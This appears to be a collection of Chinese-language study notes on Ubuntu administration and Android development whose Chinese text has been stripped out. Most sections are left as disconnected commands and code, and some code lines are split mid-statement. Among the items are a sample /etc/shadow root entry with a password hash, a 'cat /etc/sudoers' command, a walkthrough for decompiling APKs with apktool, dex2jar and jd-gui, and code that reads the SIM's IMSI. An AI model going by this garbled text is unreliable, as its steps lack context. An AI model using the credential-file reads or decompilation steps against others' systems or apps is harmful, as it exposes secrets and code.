sudo	/etc/init.d/networking	restart

3.	IP(IP)

/etc/network/interfaces



sudo	vi	/etc/network/interfaces

auto	eth0:1

iface	eth0:1	inet	static

address	x.x.x.x

netmask	x.x.x.x

network	x.x.x.x

broadcast	x.x.x.x

gateway	x.x.x.x

address,netmask,network,broadcastgateways

sudo	/etc/init.d/networking	restart

4.	(hostname)

sudo	/bin/hostname

sudo	/bin/hostname	newname

,/etc/hostname

5.	Ubuntu	LinuxDNS

/etc/hostsIPDNS	,/etc/resolv.confDNSIP192.168.2.2,	

/etc/resolv.conf

search	chotim.com

nameserver	192.168.2.2

6.

sudo	/etc/init.d/networking	restart

	



ubuntuwindowsSystem—>Preferencevigedit



Linux

1Linux		
LinuxUnix.

UNIXKenThompsonDennisRitchieDouglasMcIlroy1969AT&T
UNIXWINDOWSSERVERLinux
	
2Linux	
LinuxLinus	TorvaldsMINIX	1990LINUXftpLinuxLinux.
3Linux	

GPL
4Linux	
a)	
b)	Shell
																shell
c)	Linuxext3,ext2,NFS,SMB,iso9660
d)	LinuxX-Window,Open	Office
5Linux	
LinuxRedHat	LinuxDebianUbuntu,	Novell/SuSE	Linux
Ubuntu.2004104.1020094239.04 	
6Linux	
LinuxLinuxLinuxATM
7Linux	





Linux-

ls		
				-l	
				-a	
mkdir		
				-p	
cd	
touch	
echo	
cattac	
cp	
rm	
				-r	
				-f	
mv	
					mv		aaa	bbb	aaabbb
find	
					-name		
wc	
grep	
rmdir	
tree	
pwd	
ln	
moreless	
head	-n,tail	-n
Whereis	
Whatis	
1)	ls	
					-l	
				-a	
ll	ls	-l
hacket@hacket-ubuntu:~$	ls

2 mkdir		
				-p	
hacket@hacket-ubuntu:~$	mkdir	Myhouse	
hacket@hacket-ubuntu:~$	mkdir	-p		hacket/hehe/haha/xixi	

3)	cd	



hacket@hacket-ubuntu:~$	cd	Myhouse/

4)	touch	
hacket@hacket-ubuntu:~/Myhouse$	touch	myfile.txt

5)	echo	
hacket@hacket-ubuntu:~/Myhouse$	echo	"hello	ubuntu"	>	hello.txt

6)	cattac	
hacket@hacket-ubuntu:~/Myhouse$	cat	hello.txt

7)	cp	

hacket@hacket-ubuntu:~/Myhouse$	cp	hello.txt	../

8)	rm	

				-r	
				-f	
hacket@hacket-ubuntu:~/Myhouse$	rm	myfile.txt		
hacket@hacket-ubuntu:~/Myhouse$	rm	-r		haha/			

9)		mv	
hacket@hacket-ubuntu:~/Myhouse$	mv	hello.txt	haha.txt	
hacket@hacket-ubuntu:~/Myhouse$	mv	haha.txt	../		
hacket@hacket-ubuntu:~/Myhouse$	mv	xixi/	../	

10 find	
hacket@hacket-ubuntu:~$	find	-name	haha.txt

	

11)	wc	

hacket@hacket-ubuntu:~/xixi$	wc	love.txt

	

12grep	
hacket@hacket-ubuntu:~/xixi$	grep	"love"	love.txt

	

11 ln	()
hacket@hacket-ubuntu:~/house/roomA$	ln	-s	/home/hacket/house/roomA	/hone/rooma



	
hacket@hacket-ubuntu:~/house/roomA$	sudo	ln	-s	/home/hacket/house/roomA
/home/rooma

12)rmdir	rm	-r

13)tree	

ubuntutree sudo	apt-get	install	tree

14 moreless	

15head	-n,tail	-n

16)	Whereis	

hacket@hacket-ubuntu:/home/rooma$	whereis	ls

	

17)	Whatis	
hacket@hacket-ubuntu:/home/rooma$	whatis	ls

	



Linux-

1who	 	hacket@hacket-ubuntu:/home/rooma$	who

2clear	

3hostname		
hacket@hacket-ubuntu:/home/rooma$	hostname

	
4man			
hacket@hacket-ubuntu:/home/rooma$	man	ls

5uname	
hacket@hacket-ubuntu:/home/rooma$	uname

hacket@hacket-
ubuntu:/home/rooma$
uname	-a

6top		
hacket@hacket-ubuntu:/home/rooma$	top	(qctrl+c)
Top	–d	2	
	& 		
Fg	
	
Ctrl	+Z	
Ctrl+C	



7ps		
hacket@hacket-ubuntu:/home/rooma$	ps

	
hacket@hacket-ubuntu:/home/rooma$	ps	-aux

8du		[-h]
hacket@hacket-ubuntu:~/hacket$	du	-h

9df		
hacket@hacket-ubuntu:~/hacket$	df	-h



10free		
hacket@hacket-ubuntu:~/hacket$	free	-s5	5

11 ifconfig	
ping	
netstat		
12 alias	
alias		[]=[]
hacket@hacket-ubuntu:~/hacket$	alias	showdisksize="du
-h"
hacket@hacket-ubuntu:~/hacket$	alias	cls="clear"
hacket@hacket-ubuntu:~/hacket$	unalias	showdisksize
	alias
13kill			[kill	pid]	toppid
hacket@hacket-ubuntu:~/hacket$	kill	7083



Linux-

				gzip	gz
				bzip2	bz2
				tar	
1 gzip	

				gzip	[]	

				-d	
				-l	
				-v	
				-num	num-1--fast-9--best6
hacket@hacket-ubuntu:~$	gzip	house.tar			
hacket@hacket-ubuntu:~$	gzip	-d	house.tar.gz	
hacket@hacket-ubuntu:~$	gzip	-1	house.tar		()	1	
hacket@hacket-ubuntu:~$	gzip	-9	house.tar		()	9
hacket@hacket-ubuntu:~$	gzip	-l	house.tar.gz		-1

hacket@hacket-ubuntu:~$	gzip	-l	house.tar.gz			(-9)

2 bzip2	

				bzip2	[-cdz]	

				-d	
				-z	
				-num	num-1--fast-9--best6
hacket@hacket-ubuntu:~$	bzip2	-z9	house.tar		9
hacket@hacket-ubuntu:~$	bzip2	-d	house.tar.bz2	
3 tar	

				tar	[-cxzjvf]				

				-c	
				-x	



				-z		gzip	
				-j		bzip2	
				-v	
				-f		f	
				-tf	
	tar	-czfv	house.tar.gz	house/	(f)
hacket@hacket-ubuntu:~$	tar	-czvf	house.tar.gz	house/		housegzip
hacket@hacket-ubuntu:~$	tar	-xzvf	house.tar.gz		gzip



shutdown	shutdown	-r/h	
-r	
-h	
-now	

halt			 	shutdown	-h	now
reboot		 shutdown	-r	now
clear	
Linux
				UNIX/Linux
			 grep	–r	“best”	/home/*		|	more



dpkg		

dpkg(Debian	Package)	Ubuntu		.deb	Ubuntu		Debian	GNU/Linux	
.deb	
sudo	dpkg	-i	package_file.deb				.deb	 	
	.deb	
sudo	dpkg	-r	package_name			
	
1.tree
sudo	dpkg	-i	tree_1.5.3-1_i386.deb
	
2.tree
sudo	dpkg	-r	tree
	
3.
sudo	dpkg	-c	tree_1.5.3-1_i386.deb
	
4.Ubuntu
sudo	dpkg	-l
	.deb	
	
	Debian	
	
sudo	dpkg	-i	debfilename
	

	
sudo	dpkg	-c	debfilename
	
	.deb	
	
sudo	dpkg	-I	debfilename1
	

	
sudo	dpkg	-r	packagename
	
	remove	remove	purge	
	
sudo	dpkg	-P	packagename
	



	dpkg	-c		.deb	
	
sudo	dpkg	-L	packagename
	
	

	
sudo	dpkg	-s
	
	debconf	(debconf	)	debconf	
	
sudo	dpkg-reconfigure	packagename
	

	
sudo	dpkg	--get-selections	|	grep	keyname
	
	HOLD	
	
echo	"packagename	hold"	|	sudo	dpkg	--set-selections
	
	HOLD	
	
echo	"packagename	install"	|	sudo	dpkg	--set-selections
	

	
sudo	apt-get	-f	install
	
,/var/lib/dpkg/info:
(1).conffilesUbuntu
(2).list,.list.
(3).md5sumsmd5,.
(4).prermDebian,Ubuntu,.
(5).postinstDebian,.
/var/lib/dpkg/availableUbuntu,Debian,Ubuntu./var/cache/apt/archivesapt-getinstall
/etc/apt/sources.list,sudoapt-getinstallxxxUbuntu



APT

APTAPT	(Advanced	Packaging	Tool)		/			dpkg,Debian
apt,,,,

APT	

sudo	apt-get	install	packagename		
	

sudo	apt-get	remove	packagename		
	

sudo	apt-get	update		
	

sudo	apt-get	upgrade		
	

apt-get	help		
	
	.rpm		.deb	
.rpm	Red	Hat		Ubuntu	Ubuntu		.deb		alien	
.rpm	.deb	
	alien	

sudo	alien	package_file.rpm	
APT
apt-cache	search	package	
apt-cache	show	package	
sudo	apt-get	install	package	

sudo	apt-get	install	eclipsesudo	apt-get	install	sun-java6-jdk	/var/cache/apt
sudo	apt-get	install	package	-	-	reinstall		
sudo	apt-get	-f	install	"-f	=	――fix-missing"	
sudo	apt-get	remove	package	
sudo	apt-get	remove	package	-	-	purge	
sudo	apt-get	update	
sudo	apt-get	upgrade	
sudo	apt-get	dist-upgrade	
sudo	apt-get	dselect-upgrade		 dselect	



apt-cache	depends	package	
apt-cache	rdepends	package		
sudo	apt-get	build-dep	package	
apt-get	source	package	
sudo	apt-get	clean	&&	sudo	apt-get	autoclean	
sudo	apt-get	check		



VIM

1VIM

	i	,o,a
	“”	
/etc/vim/vimrc
2VIM	
			q	vi
wq	vi	
q!	
w	file	
set	number	
set	nonumber

esc
:	set	number	vi



linux	

A
B

A	.	Linux
B
	
A/etc/passwd 	
				
				root:x:0:0:RedHat	Linux:/root:/bin/bash
				a)X/etc/shadow
				b)rootUID010001-999
				c)
				d)shell	/bin/bash
B/etc/shadow 	shadow	passwordsroot
			
				root:$1$K4gXdkjf$TIKrvWuldq6oQ4HEoFIGQ/:14831:0:99999:7:::
				a)	1970-1-1
				b)	1970-1-1
				c)	1970-1-1
				d)	
				e	)
C/etc/group
				Linux
				
				gid
				root:x:0:root
D/etc/gshadow
				root
				root:::root



	

1 ​
useradd	
useradd	–uUID
useradd	–p
useradd	–g
useradd	–sSHELL
useradd	–d
usermod	–uUID
usermod	–d
usermod	–g
usermod	–sSHELL
usermod	–p
usermod	–l
usermod	–L	()
usermod	–U	( )
userdel		()
userdel	–r	

-m	useradd	-m	sam
	
useradd/home,
	
adduser
	
2
groupadd		()
groupadd	–g	GID
groupmod	–g	GID
groupmod	–n	
groupdel		()
3
passwd		()
passwd	–l		()
passwd	–u		()
passwd	–d		()
gpasswd	–a			()
gpasswd	–d			()
4	
Sudoroothaltrebootsu root Sudoshell



	§	Sudo	
	§	Sudo
	§	Sudo“”sudo5
	§	Sudosudoers/etc/sudoers0411

su			
su	root
su	-	root

id		UIDGID
whoami	
groups	
sudo

cat	/etc/sudoers



	

R	
W	
X		

ls	–l	

(d	-	l	)
-rw-r--r--		1	itcast	users		2254	2006-05-20	13:47	tt.htm
a)	rw-itcast
b)	r--users
c)	r--others 	
	
chmod	u		g		o		a		+		–		=	rwx	
-R	

	chmod	777	file
r	4	w	2	x	1
rwx4+2+1=7
rw-4+2=6
r-x4+1=5;

chown	user	file	
	
Chown	–R	
	
Chgrp	group	file	



linuxJDK-Eclipse-Tomcat

1jdk
su	-	root	root
	
sudo	-i	root
	
1.usr
	
cd	/usr
	
2.usrjava
	
mkdir	java
	
3.jdk-6u24-linux-i586.binjava
	
cp	/home/itcast/Desktop/jdk-6u24-linux-i586.bin	/usr/java
	
4.jdk
	
cd	/usr/java
	
./jdk-6u24-linux-i586.bin
	
	
5.
	
ln	-s	/usr/java/jdk1.6.0_24/	/usr/jdk
	
6.
	
vim	/etc/profile
	

JAVA_HOME=/usr/jdk
CLASSPATH=$JAVA_HOME/lib/
PATH=$PATH:$JAVA_HOME/bin
export	PATH	JAVA_HOME	CLASSPATH
	
	
8.



	
sudo	shutdown	-r	now
	
9.
java	-version
	
java	version	"1.6.0_24"
Java(TM)	SE	Runtime	Environment	(build	1.6.0_24-b07)
Java	HotSpot(TM)	Client	VM	(build	19.1-b02,	mixed	mode,	sharing)
2	tomcat
1tar	-zxvf	apache-tomcat-6.0.29.tar.gz	-C	/opt							(/opt)
2ln	-s	/opt/apache-tomcat-6.0.29/	/opt/tomcat			()
3tomcat

cd	/opt/tomcat/bin/
./startup.sh			()

-i	root
./startup.sh

4http://127.0.0.1:8080/
3eclipse
1tar	-zxvf	eclipse-jee-helios-linux-gtk.tar.gz	-C	/opt	(/usr/local/usr/local/eclipse
)
2cd	/opt/eclipse/
3./eclipse	()



cygwin	UNIX
recursive		

prompt			;



Animation

	

Tween	animation

1
					/*
					*1	
					*/
					public	void	alpha(View	v){
										AlphaAnimation	aa	=	new	AlphaAnimation(0.0f,
1.0f);
										//
										aa.setDuration(5000);
										//ImageView
										iv.startAnimation(aa);



					}
					/*
					*	2
					*/
					public	void	scale(View	v){
										ScaleAnimation	sa	=	new	ScaleAnimation(0.0f,
1.0f,	0.0f,	1.0f);
										//
										sa.setDuration(5000);
										//ImageView
										iv.startAnimation(sa);
					}
					/*
					*	3
					*/
					public	void	rotate(View	v){
										RotateAnimation	ra	=	new	RotateAnimation(0,
90);//090
										//
										ra.setDuration(5000);
										//ImageView
										iv.startAnimation(ra);
					}
					/*
					*	4
					*/
					public	void	translate(View	v){



										TranslateAnimation	ta	=	new
TranslateAnimation(0,	100,	0,	100);//x0100y0100
										//
										ta.setDuration(5000);
										//ImageView
										iv.startAnimation(ta);
					}			
3xml
					

				 	

					1alpha.xml
<?xml	version="1.0"	encoding="utf-8"?>
<alpha
xmlns:android="http://schemas.android.com/apk/res/android"
									android:fromAlpha="0.0"
									android:toAlpha="1.0"
									android:duration="2000"
									android:repeatCount="2"
									android:repeatMode="reverse"
				>
</alpha>

		2 scale.xml



			<?xml	version="1.0"	encoding="utf-8"?>
<scale
xmlns:android="http://schemas.android.com/apk/res/android"
				android:fromXScale="0.0"
				android:toXScale="2.0"
				android:fromYScale="0.0"
				android:toYScale="2.0"
				android:repeatCount="2"
				android:repeatMode="restart"
				android:duration="2000"
				>

						</scale>	
			
		3 rotate.xml
			<?xml	version="1.0"	encoding="utf-8"?>

<rotate
xmlns:android="http://schemas.android.com/apk/res/android"
					android:fromDegrees="0"
					android:toDegrees="90"
					android:pivotX="50%p"		//
					android:pivotY="50%p"
					android:duration="3000"
				>
</rotate>	

		4 translate.xml
			<?xml	version="1.0"	encoding="utf-8"?>



<translate
xmlns:android="http://schemas.android.com/apk/res/android"
					android:fromXDelta="0"
					android:toXDelta="100"
					android:fromYDelta="0"
					android:toYDelta="100"		
					android:duration="2000"
					android:startOffset="1000"	
				>
</translate>

					
		public	void	translate(View	v){
										TranslateAnimation	ta	=	(TranslateAnimation)
AnimationUtils.loadAnimation(this,R.anim.translate);
										//ImageView
										iv.startAnimation(ta);
					}

3

		1
					AlphaAnimation	aa	=	new	AlphaAnimation(0.0f,	1.0f);
										aa.setDuration(5000);
										RotateAnimation	ra	=	new	RotateAnimation(0,
90);//090
										ra.setDuration(5000);
										TranslateAnimation	ta	=	new



TranslateAnimation(0,	100,	0,	100);//x0100y0100
										ta.setDuration(5000);
										AnimationSet	set	=	new	AnimationSet(false);//
										set.addAnimation(aa);
										set.addAnimation(ra);
										set.addAnimation(ta);
										iv.startAnimation(set);

			2xml
					<?xml	version="1.0"	encoding="utf-8"?>

<set
xmlns:android="http://schemas.android.com/apk/res/android"
>
				<alpha
								android:duration="2000"
								android:fromAlpha="0.0"
								android:repeatCount="2"
								android:repeatMode="reverse"
								android:toAlpha="1.0"	>
				</alpha>
				<rotate
								android:fromDegrees="0"
								android:pivotX="50%p"
								android:pivotY="50%p"
								android:toDegrees="90"	>
				</rotate>
				<translate



								android:duration="2000"
								android:fromXDelta="0"
								android:fromYDelta="0"
								android:startOffset="1000"
								android:toXDelta="100"
								android:toYDelta="100"	>
				</translate>
</set>					

				
				Animation	a	=	AnimationUtils.loadAnimation(this,
R.anim.set);
										iv.startAnimation(a);
4

Frame	animation

	

http://developer.android.com/guide/topics/resources/animation-resource.html#Frame


					1	 	
list.xml
							<?xml	version="1.0"	encoding="utf-8"?>

<animation-list
xmlns:android="http://schemas.android.com/apk/res/android"
				android:oneshot="false"	>
				<item
								android:drawable="@drawable/girl_1"
								android:duration="200"/>
				<item
								android:drawable="@drawable/girl_2"
								android:duration="200"/>
				<item
								android:drawable="@drawable/girl_3"
								android:duration="200"/>
				<item
								android:drawable="@drawable/girl_4"
								android:duration="200"/>
				<item



								android:drawable="@drawable/girl_5"
								android:duration="200"/>
				<item
								android:drawable="@drawable/girl_6"
								android:duration="200"/>
				<item
								android:drawable="@drawable/girl_7"
								android:duration="800"/>
				<item
								android:drawable="@drawable/girl_8"
								android:duration="200"/>
				<item
								android:drawable="@drawable/girl_9"
								android:duration="200"/>
				<item
								android:drawable="@drawable/girl_10"
								android:duration="200"/>
				<item
								android:drawable="@drawable/girl_11"
								android:duration="200"/>
</animation-list>

					2Activity
public	class	FrameActivity	extends	Activity	{
					private	ImageView	iv;
					private	AnimationDrawable	drawable;
				
					@Override



					public	void	onCreate(Bundle	savedInstanceState)	{
										super.onCreate(savedInstanceState);
										setContentView(R.layout.main);
										iv	=	(ImageView)	this.findViewById(R.id.iv);
										iv.setBackgroundResource(R.drawable.list);
										drawable	=	(AnimationDrawable)
iv.getBackground();
					}
					@Override
					//
					public	boolean	onTouchEvent(MotionEvent	event)
{
										//
										if	(event.getAction()	==
MotionEvent.ACTION_DOWN)	{
															drawable.start();
										}
										return	super.onTouchEvent(event);
					}
}



style

1	 	

<?xml	version="1.0"	encoding="utf-8"?>
<resources>
				<string	name="hello">Hello	World,	DemoActivity!
</string>
				<string	name="app_name">Style</string>
			
				<style	name="test_style">
								<item
name="android:layout_width">fill_parent</item>
								<item
name="android:layout_height">wrap_content</item>
								<item	name="android:textSize">18sp</item>
								<item	name="android:textColor">#00ffff</item>
				</style>
			
				<style	name="test_style1"	parent="@style/test_style">
	//style,
										<item	name="android:textSize">28px</item>
				</style>	
</resources>

2main.xml



		1)	
				<TextView	
							style="@style/test_style"
							android:text="hello2"/>
		2)	style
				<TextView
							style="@style/test_style"
							android:text="hello5"
							android:textSize="10px"/>
		3)	style
				<TextView
							style="@style/test_style1"
							android:text="hello5"/>

							 	

			



<?xml	version="1.0"	encoding="utf-8"?>
<LinearLayout
xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="fill_parent"
				android:layout_height="fill_parent"
				android:orientation="vertical"	>

				<TextView
							style="@style/test_style"
							android:text="@string/hello"
								/>
				<TextView
							style="@style/test_style"
							android:text="hello2"/>
				<TextView
							style="@style/test_style"
							android:text="hello3"
								/>
				<TextView
							style="@style/test_style"
							android:text="hello4"
								/>
				<TextView
							style="@style/test_style"
							android:text="hello5"
							android:textSize="10px"



								/>
				<TextView
							style="@style/test_style1"
							android:text="hello5"
								/>

</LinearLayout>

					
					



1

	
	

					 	

2

1	 	

<?xml	version="1.0"	encoding="utf-8"?>
<resources>
				<string	name="hello">Hello	World,	DemoActivity!
</string>
				<string	name="app_name">Day08-theme</string>
				<style	name="mytheme"
parent="@android:style/Theme.NoTitleBar.Fullscreen"
>
								<item



name="android:background">@color/red</item>
				</style>
				<color	name="red">#FFFF0000</color>		//00
</resources>

					2AndroidManifest.xml(application)

						 	
					3AndroidManifest.xml
							setTheme(R.style.mytheme);		

3 ViewEditTextTextView
AndroidManifest.xml<application><activity>
ActivityActivityview
android
<activityandroid:theme=“@android:style/Theme.Dialog”>
Activity@android:style/Theme.Translucent	
referenceandroid-->R.style	

4



	



<html	>		
<head>
<meta	http-equiv="Content-Type"
content="text/html;charset=utf-8"	/>
</head>
				<script>	
								function	fillContent(){		
											
document.getElementById("content").innerHTML	=			
																	"javajavascript,javascript";		
								}								
</script>				
<body>		
				<p><a	onClick="window.demo.callPhone()"	href="">
</a></p>		
				<p	id="content"></p>		
				<p>javajavascript</p>		
</body>		
</html>	

1javascriptjava
public	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.main);
								//
								webview	=	(WebView)



this.findViewById(R.id.webview);
								//
								WebSettings	settings	=	webview.getSettings();
								settings.setJavaScriptEnabled(true);
							
								webview.addJavascriptInterface(new	Object(){
													public	void	callPhone(){
																		System.out.println("callPhone()");
																		Intent	intent	=	new	Intent();
																		intent.setAction(Intent.ACTION_CALL);
																		intent.setData(Uri.parse("tel:5506"));
																		startActivity(intent);
													}
								},	"demo");
								String	url	=
this.getResources().getString(R.string.serverurl);
								webview.loadUrl(url);
	}

2javajavascript
public	void	callphone(View	v){
			webview.loadUrl("javascript:fillContent()");
}



					



NinePatch
			NinePatchPNG

			 	

			NinePatch	
			NinePatchandroiddraw9patchSDKtools
			“File”->“open	9-path”NinePatch
			“Show	patches”
			
			“File”	“save	9-path”draw9patch*.9.png

				 	

			res/drawable
			<TextView	android:layout_width="wrap_content"	
				android:layout_height="wrap_content"



				android:text=""	android:textColor="#330000"
				android:background="@drawable/button"/>



()()	

			Sensor.TYPE_ORIENTATION
()	Sensor.TYPE_ACCELEROMETER
:				Sensor.TYPE_LIGHT
			Sensor.TYPE_MAGNETIC_FIELD
()	Sensor.TYPE_PROXIMITY
			Sensor.TYPE_TEMPERATURE
//
Sensor	sensor	=
sensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER
//
sensorManager.registerListener(listener,	sensor,
SensorManager.SENSOR_DELAY_GAME);

	SensorManager.SENSOR_DELAY_FASTEST
UI

	SensorManager.SENSOR_DELAY_GAME

	SensorManager.SENSOR_DELAY_NORMAL
EASY
	SensorManager.SENSOR_DELAY_UI



()
public	class	MainActivity	extends	Activity	{
		private	TextViewaccelerometer;
		private	TextVieworientation;
		private	SensorManager	sensorManager;
	
				@Override
				public	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.main);
								//
								sensorManager	=	(SensorManager)
getSystemService(SENSOR_SERVICE);
								accelerometer	=	(TextView)
findViewById(R.id.accelerometer);	
								orientation	=	(TextView)
findViewById(R.id.orientation);	
				}
			
		@Override
		protected	void	onResume()	{
		Sensor	sensor	=
sensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER



		sensorManager.registerListener(listener,	sensor,
SensorManager.SENSOR_DELAY_GAME);	
		Sensor	sensor1	=
sensorManager.getDefaultSensor(Sensor.TYPE_ORIENTATION

		sensorManager.registerListener(listener,	sensor1,
SensorManager.SENSOR_DELAY_GAME);	
		super.onResume();
		}
			
				@Override
		protected	void	onPause()	{
						sensorManager.unregisterListener(listener);//
		super.onPause();
		}
			
		private	SensorEventListener	listener	=	new
SensorEventListener()	{	
		@Override
		public	void	onSensorChanged(SensorEvent	event)	{//	
		float	x	=	event.values[SensorManager.DATA_X];					
										float	y	=
event.values[SensorManager.DATA_Y];					
												float	z	=	event.values[SensorManager.DATA_Z];	
		switch	(event.sensor.getType())	{



		case	Sensor.TYPE_ACCELEROMETER:
		accelerometer.setText("Accelerometer	Sensor:	"	+	x	+	",
"	+	y	+	",	"	+	z);
		break;
		case	Sensor.TYPE_ORIENTATION:
		/*x 0North 90East 180South 270West
				x4
	
		y X y-180≤y	≤ 180
		 y0
		 0-55 X180
		 y0-180 y
		-180 X180 y0180
		y 180yz
	
		zY Y -90≤z≤90
		 z0
		z z-90 z
		 z90 z-9090
		*/
		orientation.setText("Orientation	Sensor:	"	+	x	+	",	"	+	y
+	",	"	+	z);
		break;
		}



		}	
		@Override
		public	void	onAccuracyChanged(Sensor	sensor,
intaccuracy)	{//	
		}
		};
}



apk

1 lApkTool Java
									JRE1.6

1>	 http://code.google.com/p/android-apktool/
					apktool1.3.2.tar.bz2	apktool-install-windows-
2.2_r01-3.tar.bz2	
					c:\apktool
2>	PATHaapt.exe;c:\apktool\aapt.exe
3>	DOSapktool.jar
						DOSapktool	d	-s	c:\soft\xxx.apk
c:\soft\source
					apktool	d	[opts]	<file.apk>	[dir]		d
[opts]-s

2Apktoolsmali Dex2Jar
					dexjarjavadexjar
					 http://code.google.com/p/dex2jar/	
						1>	APKclasses.dexc:\soft
						2>	DOSdex2jar.batDOSdex2jar.bat
c:\soft\source\classes.dex	c:\soft\source,
classes.dex.dex2jar.jar

3 jd-guijarJava
						 http://java.decompiler.free.fr/jd-
gui/downloads/jd-gui-0.3.3.windows.zip
						classes.dex.dex2jar.jarjava

http://code.google.com/p/android-apktool/
http://code.google.com/p/dex2jar/%A0
http://java.decompiler.free.fr/jd-gui/downloads/jd-gui-0.3.3.windows.zip


					apktool1.4.1.tar.bz2							jar
					apktool-install-windows-r04-brut1.tar.bz2			windows
jar	exe
					
				1	 apktool1.4.1apktool.jarapktool-install-
windows-r04-brut1

						 	
apk

				cmd	
				>	apktool	d	-s	queryNumber.apk		./source	source

							 	
					
					2dex2jar-0.0.7.11-SNAPSHOT.zipclasses.dex

					>	dex2jar	class.dex
					 classes_dex2jar.jar		 	
					.class



							 	
					
						3jd-gui.execlasses_dex2jar.jarjd-gui
							

	

	apkAndroidapkDalvikapk



						1	jnicc++

						2	java
								javaant



					res2

						 	
					
					values-enstrings.xml:

						 	
						values-zhstrings.xml:

							 	
					

							 	

						res4



						 	

					drawable
					Caused	by:	java.io.FileNotFoundException:
res/drawable-mdpi/title_bar_shadow.9.png
					



SIM

:
IMSI,\\
TelephonyManager	telManager	=	(TelephonyManager)
getSystemService(Context.TELEPHONY_SERVICE);
								/**	SIMIMSI
									*	SIM IMSI	IMSIInternational	Mobile
Subscriber	Identification	Number
									*	SIM IMSIMCCMNCMSIN MCC
3
									*	 460MNCid2
									*	 0001,03MSIN 11
									*	GSM SIMMNC
									*/
								String	imsi	=	telManager.getSubscriberId();
	if(imsi!=null){
								if(imsi.startsWith("46000")	||
imsi.startsWith("46002")){//46000IMSI 46002

134/159
									//
								}else	if(imsi.startsWith("46001")){
									//
								}else	if(imsi.startsWith("46003")){



									//
								}
}

:
TelephonyManager	telManager	=	(TelephonyManager)
getSystemService(Context.TELEPHONY_SERVICE);
								String	operator	=	telManager.getSimOperator();	//
	if(operator!=null){
								if(operator.equals("46000")	||
operator.equals("46002")){
									//
								}else	if(operator.equals("46001")){
									//
								}else	if(operator.equals("46003")){
									//
								}
}

AndroidManifest.xml
<uses-permission
android:name="android.permission.READ_PHONE_STATE



public	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.main);
							
								TelephonyManager	manager	=	(TelephonyManager)
getSystemService(TELEPHONY_SERVICE);
								String	number	=	manager.getSubscriberId();
								System.out.println(number);
				}



					res

							 	
					
					dip,px

	



	



UI
					reslayoutmain.xml

							 	

public	class	DemoActivity	extends

Activity	{

				@Override

				public	void	onCreate(Bundle

savedInstanceState)	{

							

super.onCreate(savedInstanceState);

					

							

//setContentView(R.layout.main);

								//UI

								LinearLayout	ll	=	new

LinearLayout(this);



								//

							

ll.setOrientation(LinearLayout.VERTICAL);

								//

								LinearLayout.LayoutParams

params	=	new

LinearLayout.LayoutParams(

																	

LinearLayout.LayoutParams.FILL_PARENT,

LinearLayout.LayoutParams.FILL_PARENT);

								ll.setLayoutParams(params);

							

								//

								TextView	tv	=	new

TextView(this);

								tv.setText(R.string.hello);

								ll.addView(tv,

LinearLayout.LayoutParams.FILL_PARENT,

LinearLayout.LayoutParams.WRAP_CONTENT);

							

								//

								EditText	et	=	new

EditText(this);

								ll.addView(et,

ViewGroup.LayoutParams.FILL_PARENT,

ViewGroup.LayoutParams.WRAP_CONTENT);

							



								setContentView(ll);

				}

}



					SDKGestureBuilderandroid-sdk-
windows\samples\android-8\GestureBuilder
GestureBuilderGestureBuilderSCDard
gestures

				gesturesres/rawView
							<android.gesture.GestureOverlayView
									android:id="@+id/gestures"
									android:layout_width="fill_parent“	
									android:layout_height=""fill_parent“
									android:layout_weight="1.0"		//
									/>				
					View()
						
		mGestureOverlayView.addOnGesturePerformedListener(new
GestureOverlayView.OnGesturePerformedListener()	{
public	void	onGesturePerformed(GestureOverlayView
overlay,Gesture	gesture)	{
//
GestureLibrary	mLibrary		=
GestureLibraries.fromRawResource(DemoActivity.this,
R.raw.gestures);
//
mLibrary.load();
																																//



																																ArrayList<Prediction>	predictions	=
mLibrary.recognize(gesture);
}
});
					gestureStrokeType
android:gestureStrokeType="multiple"
				main.xml
					android:gestureStrokeType="multiple"			
					android:fadeDuration="2000"	



includemerge

①includeincludewidthheight
②mergerootincludemerge
includemergelayout

Activitycopy

androidincludemerge

layouttitlebar.xml		Include

<FrameLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width=”match_parent”

				android:layout_height="wrap_content"

				android:background="@color/titlebar_bg">

				<ImageView	android:layout_width="wrap_content"

															android:layout_height="wrap_content"

															android:src="http://4265337.blog.163.com/blog/@drawable/gafricalogo"	/>
</FrameLayout>

activityInclude

<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:orientation="vertical"

				android:layout_width=”match_parent”

				android:layout_height=”match_parent”

				android:gravity="center_horizontal">

				<include	layout="@layout/titlebar"/>		

				<TextView	android:layout_width=”match_parent”

														android:layout_height="wrap_content"

														android:text="@string/hello"	/>

				...

</LinearLayout>

http://schemas.android.com/apk/res/android
http://schemas.android.com/apk/res/android


Includetitlebarincludeinclude

<include	android:id=”@+id/news_title”
									android:layout_width=”match_parent”

									android:layout_height=”match_parent”

									layout="@layout/title"/>
layoutwrap_contentmatch_parent

merge

includerootFrameLayout	

merge

titlebar2.xml

<merge	xmlns:android="http://schemas.android.com/apk/res/android">

				<ImageView	android:layout_width="wrap_content"

												android:layout_height="wrap_content"	

												android:src="http://4265337.blog.163.com/blog/@drawable/gafricalogo"	/>

</merge>

titlebar2rootmergeroot titlebar2include mergeImageViewincludelayout

	

includemerge

RelativeLayoutinclude

includelayout_alignParentBottom="true"includelayout_widthlayout_height
includelayout

http://schemas.android.com/apk/res/android


LinearLayout

0dp 	android:layout_weight="20"20

android:layout_height="0dip"
android:layout_weight="20"
ListView
<LinearLayout
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:layout_gravity="center_horizontal"
				android:layout_marginBottom="5dip"
				android:layout_marginTop="5dip"
				android:orientation="vertical"	>
				<ListView
								android:id="@+id/listview_conversation"
								android:layout_width="match_parent"
								android:layout_height="0dip"
								android:layout_weight="20"
								android:cacheColorHint="@android:color/transparent"	>
				</ListView>
				<TextView
								android:id="@+id/tv_empty"
								android:layout_width="match_parent"
								android:layout_height="wrap_content"
								android:gravity="center"
								android:text="@string/empty_message"	/>
				<!--		-->
				<Button
								android:id="@+id/btn_delete_message"
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"
								android:layout_gravity="center_horizontal"
								android:layout_marginBottom="5dip"
